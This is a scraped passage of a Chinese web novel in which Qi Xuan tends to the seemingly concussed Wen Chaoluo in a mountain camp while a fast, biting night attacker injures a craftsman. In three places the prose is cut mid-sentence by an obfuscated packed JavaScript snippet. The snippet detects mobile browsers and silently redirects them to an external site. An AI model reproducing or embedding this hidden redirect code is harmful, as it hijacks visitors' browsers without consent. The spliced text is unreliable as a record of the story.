“哦。”祁煊回过神来,抱着人出了营帐。 闻潮落竟然真的让他抱! 祁煊怀疑被磕了脑袋的人不是闻潮落,而是自己。 否则眼前这一幕要如何解释? 从前只会朝他龇牙哈气的炸毛小猫,这会儿就跟中了邪似的,正搂着他的脖颈靠在他怀里,乖乖任他抱着穿越了大半个营地。 “往哪儿走啊?”闻潮落拉他一只耳朵猛地一扯,那架势活像车夫控马似的,强行“控着”祁煊转了个弯,“我的茅房在那边。” 营地里都是男子,再加上是荒郊野外,所以他们的“茅房”就是不远处的林子,连个像样的遮挡都无。但闻潮落没有随地大小解的习惯,所以阿福让人给他搭了个简易的营帐,在里头摆了恭桶。 祁煊被拽的那只耳朵又红又烫,却没将人扔下,耐着性子把人送到了闻小公子专用的茅房里。 然而,这还不算完。 “你帮我扶着。”闻潮落说。 “什么?”祁煊眼珠子差点瞪出来。 他眸光在闻潮落身上往下一瞥,暗忖自己倒是好多年没见过了。少年时大家凑在一起,偶尔还会去京郊的别苑里泡个温泉,后来渐渐长大便没什么“坦诚相待”的机会了。 他记得闻潮落的…… “算了,你回来都没净手,别给我弄脏了。”闻潮落自己解开衣服,又道:“关门。” 祁煊被他指挥得团团转,一时也没了脾气,伸手将营帐的门帘放了下来。 闻潮落竟然想让他帮忙扶着? 这……是什么新的捉弄人花样? 祁煊搓了搓脸,感觉头有点大。 不远处。 端着汤药的阿福差点撞上躲在营帐后看戏的卢明宗。 “小心点,别烫着了。”卢明宗伸手扶了一把。 “卢公子,您这是看什么呢?”阿福顺着他的视线看去,就见不远处他家公子的私人“茅房”门口,立着一个熟悉的身影,“坏了,我家公子的茅房不喜欢给旁人用,尤其是不能给祁副……” 话未说完,就见营帐的门帘被挑开,露出了刚方便完的闻潮落。 阿福一怔,想起来祁副统领方才在自家公子的营帐里,一定是因为公子脚疼,所以才让祁煊扶着上茅房。 可接下来的一幕,却令他差点惊掉了下巴。 他家公子竟然被祁副统领抱了起来,且是打横抱着。 闻潮落身量挺拔,手长脚长,被祁煊这么抱着十分显眼。这场景落在阿福眼里,更是说不出的诡异。 “我没记错的话,你家公子最讨厌的人就是祁副统领吧?”卢明宗问。 “是,而且我家公子自从开始读书,就不让人抱了。七八岁那年,我家老爷自作主张抱他上马,气得他从马上爬下来,又踩了脚梯自己爬上去的。”阿福说。 “那他们这是……” “完了。”阿福自闻潮落醒了说要找祁煊时就觉得不对劲了,这会儿终于意识到了问题所在,“我家公子肯定是把脑袋磕坏了。” 一定是这样。 除了磕坏脑袋,阿福想不出别的理由解释眼前这“惊天地泣鬼神”的一幕。 “我得去找太医。”阿福转身欲走,却被卢明宗拎住了后颈。 “你去找太医说什么?说你家公子脑袋被磕傻了?” “我……”阿福经他一提醒,冷静了下来。 被磕坏了脑袋可不是什么值得宣扬的事情,万一是误会倒还好,若是真的,传出去岂不坏了公子的名声?说不定将来还会耽误公子说亲。 至少,得先弄清楚状况再说。 “走,咱们偷偷去瞧瞧他们在干嘛。”卢明宗道。 说罢,两人一前一后朝闻潮落的营帐溜去。 帐内,祁煊正端着水盆被迫伺候闻小公子净手。 闻小公子似乎对他的表现不大满意,拧眉道:“布巾呢,我要擦手。” 祁煊只得将水盆放下,取了布巾给他擦手。 帐外。 阿福和卢明宗并排贴在一起,偷听帐内的动静。 “手膏。”闻潮落擦完了手又道。 “什么手膏?”祁煊有些茫然。 “当然是抹手的手膏,如今都秋天了,山下这么冷,你给我弄的水也是冷的,洗完了手若是不抹手膏,会皴。”闻潮落说。 祁煊这辈子就没用过这种玩意,当即四处翻找了一阵子,终于在询问了三次后,找到了正确的瓷罐,递给了闻潮落。 “你帮我抹。”闻潮落伸出两只手。 “你……”祁煊正欲发作,念及这人刚撞了脑袋,便强迫自己耐住了性子。 人在受了惊吓后,难免会矫情些。 祁煊比闻潮落年长两岁,就当做回哥哥,让让弟弟吧。 “你的手怎么……”祁煊抓着闻潮落的手,毫无章法地在上头涂抹手膏,涂着涂着便忍不住捏来捏去,越捏越觉得手感好,“真软啊。” 闻潮落虽自幼习武,但他不喜欢舞刀弄枪,练得多是身法,武器则喜欢用弩。因此他的手不像祁煊那般粗糙,掌心和指腹摸起来只有薄薄的一层细茧。 “这瓶送你了,从今日起你也要抹。”闻潮落说。 “我活得糙,用不惯这些。”祁煊摆手。 “用不惯也得用,你看你的手。”闻潮落扯过他的手,指尖在他掌心擦过,语气带着不满,“你的手都是茧子,磨得人不舒服。” 祁煊心道,自己的手又不会摸别人,谁会嫌不舒服啊? 但这会儿他掌心被闻潮落蹭得有些痒,便有些失神,忘了反驳。 此时,帐外传来了修造使陈秉忠的声音,他并不知帐外的两人是在偷听,便上前问道:“卢大人你和这位小兄弟怎么不进去?是闻小公子在休息吗?” “呵呵。”卢明宗尴尬一笑,“我们正要进去。” 说罢,他一手推着阿福,脸不红心不跳地进了营帐。 “祁副统领也在啊。”卢明宗打了个招呼,走到一旁坐下。 祁煊并未搭话,只略一颔首,手里还拿着闻潮落送给他的半罐手膏。 阿福端着药碗近前,将药放到榻边的桌子上。 修造使过来原是为了寻卢明宗,顺便看看闻潮落。见闻潮落已经醒了,看起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396438|184294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来精神头还不错,便没再逗留,叫着卢明宗一起走了。 卢明宗目光在闻潮落和祁煊身上转了一圈,显然意犹未尽,想看看这俩人还会做什么。但修造使叫他议事,乃是正经差事,所以只能一步三回头地出了营帐。 “昨夜地动,祭天台塌了一块,估计这两日工部的人又有得忙了。”祁煊主动找了个话题,试图缓解之前的奇怪氛围。 “只是塌了一块?”闻潮落想起昨夜的情形,依旧觉得纳闷,“我记得当时我都被地动颠起来了,那么大的力道,我还以为整个祭天台都会塌呢。” “我亲自去看过,确实只塌了一小块。”祁煊说。 “昨夜你们可有人看到灵山上的情形?”闻潮落看向阿福。 “公子说的情形指的是什么?”阿福问。 “有一些绿色的光,看起来像是雾气一样……”闻潮落试图描述,但记忆模模糊糊,一时也分不清那场景是现实还是梦境。 “昨夜小的听到动静就出来了,然后就看到公子倒在营帐外,并未留意灵山上有没有发光?不过今日并未听人提起过此事,要不小的去问问旁人?” “也许是我记错了。” 闻潮落揉了揉脑袋,看起来似是有些疲惫。 “公子是不是头疼?要不要再请太医来看看?”阿福忙问。 “不必,我再睡会儿就好了。” 闻潮落头倒是不疼,只是醒过来以后脑袋一直有些钝,尤其是想事情的时候,总觉得记忆不甚清晰,像隔雾看花一般。 “公子先把药喝了再睡吧。”阿福端过一旁的药碗。 闻潮落盯着那碗黑乎乎的药,眉头越拧越紧,最后抬眼看向了祁煊。 “看我做什么?”祁煊被他看得浑身发毛。 “你喂我。”闻潮落说。 祁煊:…… 又来了? 方才闻小公子让他抱着去茅房,伺候净手,勉强可以解释成小厮不在身边才使唤他。可如今阿福就在边上呢,手里还端着药碗,怎么就轮到他伺候了? “闻潮落,你脑子是不是撞坏了?”祁煊失笑。 “你脑子才坏了吧?竟然这么跟我说话。”闻潮落一脸的难以置信,仿佛无法理解祁煊为何会用这种语气和他说话。 他不明白,祁煊今日究竟是怎么了? 这家伙从前明明对他百依百顺,恨不得整日把他捧在手里,满心满眼都是他,从来不会让他受半点累吃半点苦。 今日却处处怠慢,说话也有些不耐烦。 “我怎么了?”祁煊只觉十分冤枉,他觉得自己今天已经够有耐心了,连手膏都帮闻潮落擦了,就差帮对方扶着了,还不行吗? “你怎么了?你说你怎么了?”闻潮落瞪着他。 “我……”祁煊看向了一旁的阿福,似乎是想让阿福这个旁观者来评评理。 而此时的阿福,忽然福至心灵,自认为明白了自家公子的目的。 对方这是在体验生活! 因为公子在新的话本里,安排了一个处处使唤祁副统领的角色,所以他现在一定是想通过这种方式,来获得更多的灵感。 想通了此节,阿福便配合地开口道:“祁副统领,您就受受累吧,我家公子没人喂不肯喝药,一会儿药凉了就不好了。” “我喂?”祁煊指了指自己。 “对啊,小的得去取些蜜饯来。” 阿福说罢一溜小跑没了影。 营帐里,只剩祁煊和闻潮落大眼瞪小眼。 5. 晋.江独家发表 祁煊这回是彻底没脾气了。 他倒是不生气,只是不大习惯这样的闻潮落。 不过仔细想想,对方如今的表现如果不是为了捉弄他,也挺有趣的。退一步讲,闻潮落哪怕真想捉弄他,他也不介意陪对方玩玩。 反正接下来的一段日子都要守在灵山,有闻小公子陪着,倒是半点不寂寞。 “行吧,我喂你喝药。”祁煊端起药碗坐在了榻边。 “你好像不是很情愿的样子。”闻潮落看着他。 “没有不情愿,咱俩自幼的交情,我待你就如同亲弟弟一般,喂你喝个药怎么就不情愿了?”祁煊舀了一勺汤药递到闻潮落唇边,“来,张嘴。” “那你方才怎么那么说话?”闻潮落语气有些不满。 “我不一直这么说话吗?张嘴,来。” 闻潮落很不喜欢药味,屏着呼吸喝了一口,呛得直皱眉。 “多大的人了,喝个药还跟小孩似的。”祁煊揶揄他。 “你变了。”闻潮落说。 “怎么就变了?” “变讨厌了。” 祁煊不太明白闻潮落此时的情绪,但他能感觉到,对方说这话时语气带着几分委屈。 也许依旧是因为生病的缘故吧…… “我不该变讨厌,我错了。” “那我问你,你错哪儿了?” “我错哪儿了?”祁煊看着闻潮落,两人这会儿离得很近,近到他能看清对方眸子里淡淡的水雾,这令他有些担心对方会哭。 其实闻潮落并不爱哭,至少长大以后很少再哭了。 祁煊总喜欢逗他,也不是真想把人气哭,只是……只是喜欢逗他。 “你都不知道自己错哪儿了还认错?”闻潮落说。 “那你觉得,我错哪儿了?”祁煊又舀了一勺药喂给他。 “自己想,想不出来,就别回来见我了。”闻潮落拿过他手里的药碗,一仰头喝光了里头的药,然后扯过被子倒头便睡,只留了一个背影给祁煊。 祁煊看着他圆滚滚的后脑勺,忍不住伸手摸了摸,似乎是想确认他昨夜磕到了哪儿,有没有鼓包之类的。然而不等他仔细摸,闻潮落便扯起被子盖住了脑袋,这回连后脑勺也看不到了。 阿福端着蜜饯回来时,正好撞见从营帐里出来的祁煊。 “祁副统领,我家公子把药喝完了吗?”阿福问。 “喝完了,不过好像生气了。”虽然祁煊不理解他在气什么。 “我家公子自幼就娇生惯养,府里老的少的都疼他,这您是知道的。他这人平日里看不出,可一旦生病就爱撒娇,需得好好哄着才行。”阿福为了让闻潮落的能继续体验生活,丰富话本素材,不得不添油加醋,生怕祁煊不愿配合,“祁副统领,您与他也是自幼的情谊了,这种时候还望您多担待一些。” “无妨,我先前只是不大习惯罢了。”祁煊说。 “那就好,多谢祁副统领。”阿福朝他行了个礼,这才回营帐。 帐中,闻潮落听到动静便从被子里探出了半颗脑袋,见是阿福回来,这才坐起身。 “公子,要吃蜜饯吗?”阿福将蜜饯递到了闻潮落手边。 “姓祁的呢?走了没?”闻潮落压低了声音问道。 “祁副统领走了,应该是上山监工去了。” “哦。”闻潮落捻起一颗蜜饯放进嘴里。 阿福虽自认猜到了事情的“真相”,却还是想确认一下,便试探着问道:“公子,您今日对祁副统领格外不一样,是故意的吗?” “那当然了,这家伙过去就爱捉弄我,如今我好不容易有机会反击,定要让他吃些苦头。”闻潮落记得自己当初选择和祁煊成婚,就是为了折腾祁煊,好报那些年积累的仇怨。 因为他觉得,对一个人最大的报复,就是让对方娶一个不好对付的人为妻。所以他嫁给祁煊以后,便日日折磨祁煊,对祁煊颐指气使,让祁煊当牛做马,让对方一辈子都摆脱不了他。 念及此,闻潮落心底生出了一丝违和感,总觉得哪里不太对劲,但这感觉很快就消散了。 “公子还记得过去和祁副统领那些恩怨?”阿福又问。 “前几日他还害我被隼啄了手,伤口还没好呢。”闻潮落抬手让他看。 “那就好,那就好。”阿福总算松了口气。 听自家公子这语气,思路清晰,也没忘事儿,半点也不像是磕坏了脑袋的样子。 “你问我这些做什么?不会和太医一样,怕我脑子撞坏了吧?” “没有的事,公子放心,在灵山这段日子,小的一定好好配合公子,绝不会让祁副统领好过。” 闻潮落看着阿福,十分欣慰。 心道不愧是自己选中的陪嫁小厮,聪明又忠心。 灵山山顶,祭天台。 眼看天色快擦黑,众人都打算收工了,却见祁煊带着一名亲随骑着马上来了。 “咱们正要收工呢,祁副统领可是有事吩咐?”陈秉忠上前问道。 “无事,我随便瞧瞧。”祁煊没好意思说,自己是被闻小公子赶出来的。 人家闻小公子说了,他不想清楚自己错在哪儿,就不能回去。 祁煊觉得,出于礼貌,自己可能真得想个错处,去哄一哄那位。 “需不需要下官陪您四处看看?”修造使问。 “不必。”祁煊想起了闻潮落的话,问道:“昨夜地动时,营中之人可有见到灵山上有雾气?” “灵山清晨常有云海,但夜里哪怕有雾气也看不清。” “如果是发光的雾气呢?绿色的光。” 修造使听了这话不由失笑:“山上好端端,怎么会发光?” “呵呵,我就是随口问问,陈大人且去忙吧。” 祁煊确实是随口一问,毕竟当时闻潮落也只是随口一说,连对方自己都不确定是真看到了,还是磕到脑袋产生的错觉。 不过他还是控着马,绕着山顶看了一圈。 灵山有两个相连的山头,祭天台修在了东侧的山头上,是国师亲自挑的位置。 祁煊绕着祭天台看了一圈,并未发现异样,又控马去了另一处略高一些的山头。山上草木刚发芽,裸露的山体一览无余,若是旁人扫上一眼多半不会发现什么端倪。 但祁煊是牵狼卫副统领,自幼受过的训练令他有着极强的洞察里,所以他很快就发觉,偏向北侧的山体处,有一条裂缝。 那裂缝看着并不算宽,一眼望去几乎察觉不了。 祁煊下了马走上前,伸手沾了一点裂缝处的泥土,那泥土尚未风干,看样子是新裂开的,八成就是昨晚地动时裂的。 “头儿,要找工部的人来看看吗?”祁煊带在身边的叫吴千钧的亲随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396439|184294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问道。 “天都擦黑了,明日再说吧。”这裂缝走向虽是东西向,但方位并不正,哪怕北侧的山体真裂了,应该也不会波及另一个山头的祭天台。 就是不知道风水上会不会有影响。 下山后,祁煊将马送到营地临时的马圈中,顺脚去了饭堂。 他眸光在厅内一扫,并未看到某位小公子的身影,也不知对方是脚疼不想走路,还是另外开了小灶。 “祁副统领,你怎么自己来了?潮落呢?”卢明宗端着饭走到他身边的桌旁坐下了。 “我刚从山上下来。”祁煊想起了山上那条裂缝,便朝卢明宗简单描述了一下,问道:“你是盈华殿的人,祭天台的风水之事归你管。你觉得这条裂缝,是否需要处置一下?” “书中有云堪舆之术,堪为天道,舆为地道。所谓地道,山川水利,地形地貌,皆有无穷变化在其中……” “说人话。”祁煊打断了他。 “明日我去瞧瞧吧。”卢明宗说。 祁煊没再多问,视线又不自觉在厅内扫了一圈。 “你不吃饭?”卢明宗看向他,“咱们这营地里的厨子可是潮落从国公府里带来的,我在京城时吃得都没这么讲究。你再不去取饭,当心一会儿被人盛光了。” 闻潮落带的厨子,给营地里的人做饭,祁煊对此一点都不意外,“他这人从小就这样,自己有的从来不吝啬同旁人分享。” “要我说啊,大方只是潮落最微不足道的优点。”卢明宗意味深长地看向祁煊,“你说是吧?祁副统领。” “唔。”祁煊不置可否。 起身取饭时,他还是忍不住顺着卢明宗的话想了想。 闻潮落自幼养尊处优,若论身份,满京城的勋贵子弟除了太子和诸位皇子,怕是没人能比得过他。但仔细想想,他身上却没有沾染太多纨绔子弟的恶性。 吃喝嫖赌只占了个吃,酒色赌从来不碰。 想去擎苍卫就自己跑去训隼,屡次失败也没想着找人通融一下。实际上,以闻潮落的武艺和才智,哪怕抛去身份,满京城的武职也是可以任他挑选的。 除了脾气大点,略娇气了些,祁煊从他身上还真挑不出什么来。 晚饭后。 尽管祁煊并未“反省”出自己错在哪儿,还是没忍住去闻潮落的营帐走了一趟。 可惜他去得太晚,闻潮落已经睡着了。 “太医又来诊过一次脉,说恢复得还不错。只是公子胃口不大好,晚饭就吃了两口,说什么也不肯再吃了,药也只尝了一口就让我倒了。”阿福朝祁煊道。 “药只喝了一口?”祁煊记得下午他喂药时,闻潮落可是全喝了。 “我家公子不爱喝药,明日若是祁副统领得闲,劳烦您还是来喂喂我家公子吧。毕竟是磕了脑袋,不能大意,药不喝可不行。” 祁煊点了点头,倒是没表现出不乐意。 “你家公子没说别的?”祁煊又问。 “叮嘱了一句,若是祁副统领来,让小的问问您想清楚错哪儿了吗?” 祁煊无奈一笑。 “我若说没想清楚,他还起来打我不成?” “那倒没说,我家公子说祁副统领若是没想清楚错在哪儿,作为惩罚,这几日不许过来陪他睡觉。” 祁煊:…… 难道他们原本应该睡一起? 6. 晋.江独家发表 祁煊一直以为自己挺了解闻潮落的。 但是现在他有点拿不准了。 “闻潮落从前生病时,也要人陪着睡觉?”祁煊问阿福。 “呃……是。”阿福只能扯谎。 实际上,闻潮落自从记事后,都是一个人睡觉,在府中连守夜的人都不需要。 “那平时他病了都是谁陪他一起睡?” “平时是我家世子陪着。”阿福扯完谎觉得没什么说服力,生怕祁煊起疑。 毕竟,人生病了让兄长陪着并不罕见,罕见的是让外人陪着,于是他又扯了两个人出来,“还有……桑太医和卢公子,旁的我一时也记不清了。” 阿福若不提后头这俩人,祁煊多半是要再问上几句,毕竟闻潮落这么大个人了,生病还要人陪着睡觉实在有些匪夷所思。 可阿福提了另外两人的名字,祁煊便顾不上质疑了。 桑重和卢明宗? 这俩人的确和闻潮落关系不错。 祁煊心中有些不大痛快。他记得年前闻潮落生病时,自己还特意登门探望过两回,可对方压根没提过让他留宿,损了他几句就把人撵走了。 看来,他在闻潮落心里,当真及不上桑重和卢明宗那般亲近。 祁煊大步离开,在自己的营帐外顿住了脚步。 随后他打了个呼哨,唤来了那个叫吴千钧的亲随。 “你去卢明宗营帐里看看人在不在里头。” “是。”吴千钧不明所以,但还是利利索索去探了一趟,片刻后回来说:“卢大人正在里头睡觉呢。” 听了这话,祁煊暗暗松了口气。 不过他很快意识到,自己这行为有点莫名其妙。 闻潮落找不找卢明宗睡觉,关他什么事? 这夜。 闻潮落虽然睡得早,却睡得并不安稳,一直在做乱七八糟的梦。 他梦到了那晚地动前的情形,灵山上腾起绿光,如浓雾般扩散开来,几乎包裹了整个营地。在弥漫的绿色浓雾中,一个模糊不清的影子悄然而来,如鬼魅般慢慢朝着他的营帐靠近。 闻潮落猛地惊醒,看向营帐外的方向,听到那里传来了轻微的窸窣声。 那窸窣像是脚步声,但更轻一些。 营中住的全是男子,不会有那么轻的脚步声,除非此人轻功极好。 又或者,那并不是人的脚步声。 难道当真有野兽出没? 闻潮落轻轻坐起身,拿起了榻边桌上摆着的弩。然而下一刻,那窸窣声却转了个方向,渐渐走远了。 营中临时搭的营帐并没有防护的作用,所谓的门只是块能遮挡的帘子,若当真有豺狼虎豹闯进来,那些没有武艺傍身的工匠就麻烦了。 念及此,闻潮落快速穿好鞋子,拎着弩出了营帐。 更深露重。 闻潮落一出来就冷得打了个哆嗦。 不过他来不及回去找披风,因为他看到一个黑影一闪而过,钻入了不远处的一个营帐。那黑影的速度快而诡异,令他不由想起了梦里那一幕。 他右手拎着弩疾步冲过去,几乎是与此同时,营帐内传来了一声惨叫。那声破了音的惨叫在静谧的夜色中响起,听上去凄厉而恐怖。 闻潮落举着手中的弩奔去,然而就在他距离营帐门口仅有几步之遥时,一个黑影忽得蹿出,径直越过他朝着远处的黑夜奔去。 那黑影速度太快了。 哪怕轻功了得的闻潮落,亦自愧不如。 不过在黑影蹿出的刹那,闻潮落手指扣动悬刀射出一支弩箭。箭尖破风而出,不知是否射中了目标,闻潮落当机立断,提步边追边再次扣动了悬刀,射出第二支弩箭。 此时,营地中不少人都被吵醒了。 其中反应快的,来不及穿鞋子就跑出来查看。 闻潮落心知会有人去看顾伤者或死者,因此并未分心,只循着鼻息间零星的血腥味一路追踪。那血腥味沿着灵山东侧的一条小道而上,但山上风大,味道很快就被吹散了。 竟被他跑了! 闻潮落有些懊恼。 这时,他听到身后传来了马蹄声。 “闻潮落,你是不是疯了?一个人一声不吭就敢追到这里来?”祁煊骑在马上,语带责备。方才他听到动静跑去闻潮落的营帐中没见着人,还以为闻潮落被掳走了。 “我应该射中了,明日你派人沿着这条路仔细找一找,看看地上有几支弩箭。”闻潮落道。 “嗯,先回去吧,一切等天亮再说。”祁煊语气缓和了些,转而道:“你脚好的这么快?昨天上茅房都要人抱着,这会儿却能追着刺客跑这么远。” 闻潮落转头看向他,夜色中祁煊坐在马上的身形十分挺拔,虽看不清他的模样,但闻潮落感觉他此时一定满脸揶揄。 “没好呢,你下来。”闻潮落说。 “我不下来,你上来吧。”祁煊道。 “我不爱骑马……” 话音未落,祁煊控马上去,俯身一把将人捞到了马背上。 “我说了我不爱骑马。”闻潮落不满。 “这么远的路,夜里又看不清,总不能又让我抱回去吧?”祁煊一夹马腹,控马朝来时的路奔去。 “慢点,硌得人屁.股疼。” “娇气……哎呦,你怎么还动手啊?” 闻潮落也不知干了什么,惹得祁煊痛呼出声,一直到了营地还没消停。 “头儿,你没事吧?”吴千钧远远听到他的哀嚎,快步上前询问。 “没,没事。”祁煊跳下马背。 吴千钧这才透过夜色看到马上还坐着一个人。 难怪方才他们头儿那么着急打马去追,原来是怕闻小公子遇到危险啊? “营中如何?”祁煊问。 “受伤的是一个姓张的工匠,太医和大夫都在,这会儿正在治伤。”吴千钧道。 “走,先去看看伤者。”祁煊伸手去接闻潮落,闻潮落却没理会他,翻身从另一侧跳下马背,径直朝着营地深处走去。 “闻潮落,你这脚到底还疼不疼?”祁煊快步跟上。 “祁煊,我跟你说了两遍我不爱骑马。”闻潮落语气不善。 “就骑了这么几步,怎么还生气了?” “我现在不想理你。” 说话间,两人已到了先前遇袭的那处营帐,阿福正立在门口焦急地与一名牵狼卫说着什么,见到闻潮落安然无恙险些哭出来。 他醒来找不到自家公子,快吓死了。 “人在里头吗?”闻潮落问。 “在,太医和咱们府上的大夫都看过了,说是脖子被什么东西咬了一口,幸好不致命,眼下正在处置伤口呢。”阿福说。 这营帐本来也不宽敞,如今里头挤满了人,闻潮落便没进去看。 祁煊见他不进去,也在一旁候着,时不时看一眼闻潮落,像是在观察对方是否依旧在生气。 “过来点。”闻潮落开口。 祁煊怔了一下,半晌后才反应过来闻潮落说的是他而不是阿福,于是凑近了两步。 “再近点。” “再近就挨着了。” 祁煊靠近闻潮落,这才意识到对方身上只穿了一件薄薄的单衣。 “你不冷?”他问。 “冷,你把衣服解开揣着我。” 揣…… 又是一个超出祁煊认知的要求。 但祁煊是个接受能力很强的人,现在就算闻潮落提出更离谱的要求,他也能面不改色。 不过,他认为揣着有点怪。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396440|184294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 于是便把身上仅有的外袍脱下来,披在了闻潮落身上。 “还是冷。”闻潮落说。 “要不你进去?”祁煊提议。 闻潮落盯着他不做声,僵持片刻后,祁煊大步进了营帐,找了块毛毯要给闻潮落裹上。闻潮落却嫌旁人的毛毯有味道,说什么也不肯披,无奈之下祁煊只能回自己的营房取了件大氅出来,将人结结实实裹了起来。 “大氅是凉的,冰手。”闻潮落将两只手探出来,伸进了祁煊的衣服里暖手。 双手冰凉的触感,激得祁煊小腹肌肉骤缩,瞬间绷出了漂亮的腹肌线条。 闻潮落也毫不客气,顺手捏了捏。 “你怎么……”祁煊想抗议,却发觉闻潮落为了省力,直接将脑袋埋在了他肩上。这明明不是一个拥抱的姿势,却比拥抱显得更暧昧。 祁煊未来得及出口的后半句话消散在夜色中,只剩下惊天动地的心跳在胸腔中来回激荡。 不多时,太医自营帐内走了出来,修造使紧随其后。 此时祁煊还帮闻潮落裹着大氅,而闻潮落则靠在对方怀里,两人那姿势看起来十分别致,令太医一时都忘了开口。 “如何?”祁煊问。 “脖颈被咬了一口,幸好偏了半寸,没咬中要害,否则就麻烦了。”太医说。 “是人咬的?”祁煊又问。 “看齿痕不像是人,有犬齿,且刺入极深,更像是兽类。” 一旁的修造使道:“人也有生犬齿的,两颗牙都有尖,我见过。” “这话是不假,不过寻常人咬合的力道不会那么大。哪怕力气极大的人,面对同类也很难一口咬那么深,除非是自幼便有撕咬同类的习惯,且已经克服了心里那道坎。” 换句话说,人与野兽相比,天生缺少同类相残的野性。哪怕是刺客,杀一个人容易,咬死一个人却并非易事。 “你是不是看到伤人的东西了,是野兽还是人?”祁煊看向闻潮落。 “是……应该是狼。”闻潮落说。 他此言一出,众人当即松了口气。 狼咬人固然可怕,人咬人更可怕。 而后,祁煊安排了自己的亲随联合营中的一部分工匠共同巡防,防止再有野兽来袭。陈秉忠则带人在营地中燃起了火把,以驱散和威慑兽类。 他们自开始建立营地至今,对于巡防一事都不怎么上心,毕竟谁也不会料到,这地方竟真有野兽会袭击人。 好在祁煊来的时候带了几个亲随,有牵狼卫的人在,众人多少安心些。 “明天一早我便差人回京,再调派一些人手来,除了加强巡防,还得在营地周围弄上院墙。”祁煊将闻潮落送到了营帐门口,却没急着离开。 “不是狼。”闻潮落忽然开口。 “你说伤人的东西?不是狼是什么?” “是人。”闻潮落语气凝重,回想起那一幕依旧觉得匪夷所思,“我怕他们害怕反倒乱了阵脚,所以方才没说实话。咬人的东西,应该是人。” “毕竟是夜里,你看清了?” “我没看清,那东西速度很快,但他身上好像穿了衣服。” 祁煊闻言忍不住打了个激灵。 闻潮落轻功极好,他说速度快,那便意味着那东西的速度绝非常人可比。 可那东西又是人…… “明天再说吧,我困了。”闻潮落打了个哈欠。 “嗯,去睡吧,天都快亮了。”祁煊转身欲走。 “你跟我进去。”闻潮落叫住他。 “怎么,害怕不敢一个人睡?” “不是。”闻潮落进了营帐,丢下一句话,“骑马颠得屁股疼,你给我揉揉。” 祁煊:…… 闻潮落让他揉,揉哪儿? 7. 晋.江独家发表 祁煊站在营帐外。 走也不是,留也不是。 他一个大男人,给闻潮落揉屁.股,这算怎么回事啊? 但闻潮落受伤初愈,今夜还和那个咬人的东西打了照面,又追了那么远,还说被马颠得屁股疼…… 祁煊好歹虚长对方两岁,算是个便宜哥哥,这会儿甩手走人说不过去。 他心里这么想着,人已经进了营帐。 榻上,闻潮落面朝下趴着,身上没盖被子。 青年单薄的寝衣虚笼着瘦削的身体,尤其后腰那处低陷着,衬得上下轮廓十分清晰。 “快点。”闻潮落那态度依旧颐指气使。 祁煊眸光落在他身上,支吾道:“这,不合适吧?” “都赖你,你不让我骑马,我也不会硌得屁.股疼。” “只骑了那么几步……”祁煊走到榻边,脑海中忽然闪过了一个念头,便脱口而出问道:“你从前不会也让桑重和卢明宗给你揉过屁.股吧?” 闻潮落差点被他气笑了,“我看起来像是脑子有病的人吗?” “像。”祁煊如实回答。 “我没病,再说我为什么要让外人给我揉屁.股?” “外人?”难道他不是外人? 祁煊咂摸了许久,一时也不知该如何解读闻潮落这句话。 “卢明宗没给你揉过?” “我方才的话你是没听到吗?” 闻潮落的语气显然已经接近爆发的边缘,祁煊怀疑自己若是再追问,他说不定会直接拿起弩扣动悬刀。 于是他没再招惹对方,而是将目光又移到了闻潮落的腰下。 祁煊抬手,又放下。 他转头看了一眼门口的方向,像是怕有人突然进来撞见什么似的。 确认无人后,他再次抬手,用一根手指头在闻潮落身上戳了一下。 挺软的。 他又戳了一下。 真的很软,感觉像是刚揉好的面团。 又软又筋道。 随后,他用大手悬空比划了半晌,找到一个适合的角度,慢慢覆了上去…… 可就在他大手即将盖下之时,外头忽然响起了脚步声。祁煊瞬间像被捉了现行的贼,收回手站直了身体,还欲盖弥彰地将两只手抱在了胸前。 “头儿,你在里头吗?”外头传来了吴千钧的声音,“陈修造使请您过去一趟,说是有事商量。” “唔,来了。”祁煊松了口气,又转头看了一眼闻潮落,这才快步朝外走。 走到门口时,他顿住脚步犹豫了一下,而后大步回来帮闻潮落盖好了被子。 这时他才发觉,闻小公子呼吸均匀,竟是已经睡着了。 从营帐内出来后,祁煊还觉得不可思议。 营中有危险时,闻潮落能第一个醒过来,并且疑似用弩箭射中了袭击者,那份警觉当真非比寻常。可一旦放松下来,他又能在顷刻间便睡得不省人事。 “他不该执着于去擎苍卫,应该来牵狼卫,这里更适合他。”祁煊说。 “谁啊?谁应该来牵狼卫?”吴千钧问道。 祁煊一笑,并未解释。 陈秉忠说找他有事商量,祁煊还以为是巡防之事,没想到对方将卢明宗也叫了过来,竟是打算连夜商量一下,做一场驱邪的法事。 